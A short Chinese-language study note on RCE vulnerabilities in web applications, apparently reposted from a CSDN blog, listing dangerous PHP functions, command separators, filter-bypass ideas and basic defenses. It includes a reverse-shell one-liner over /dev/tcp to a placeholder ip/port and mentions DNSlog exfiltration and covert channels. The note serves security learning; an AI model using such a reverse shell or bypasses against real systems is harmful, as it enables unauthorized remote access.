web安全基础--rce漏洞

课程:https://www.bilibili.com/video/BV1VA411u7Tg?p=11

rce漏洞

RCE全程Remote Code Execution远程代码执行

什么会导致rce

服务器上有木马

脆弱服务未授权

通过数据库写木马

文件上传/文件包含

危险函数(危险功能)

命令执行

反序列化

危险函数

eval

assert

扫描二维码关注公众号,回复: 14846525 查看本文章

system

shell_exec

exec

file_put_contents

命令执行

像操作 Windows 一样操作 Linux

基本操作:ls cat cd pwd rm mv mkdir grep apt-get

系统资源:top ps netstat

网络相关:ifconfig curl wget ping

命令拼接符:; && ||

其他读文件命令:cat tac xxd od nl

序列化与反序化

序列化用serialize(),php的一个函数用于序列化对象或数组,并返回一个字符串,serialize()函数序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。

反序列化用unserialize()函数将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。

rce限制绕过

限制原因可能是:

rce点存在黑名单过滤,例如Linux中的特殊符号:; && || | $() $[] < > $IFS以及`

rce后发现命令执行但没有回显,这时就要用到反弹shellbash -i > /dev/tcp/ip/port 0>&1或者通过访问DNSlog、写文件、使用curl等网络命令

rce后发现不可与外界进行网络连接,可以用写文件、命令盲注、隐蔽信道

防御

针对危险函数,应该在危险函数代码前写好黑名单过滤特殊符号,或使用 disable_function 等手段

针对命令注入,尽量不使用命令执行函数,如果必须使用则对用户输入部分加上引号,转义输入后再渲染

具体问题具体分析,永远不要相信用户的输入

猜你喜欢

转载自blog.csdn.net/m0_57291352/article/details/124616938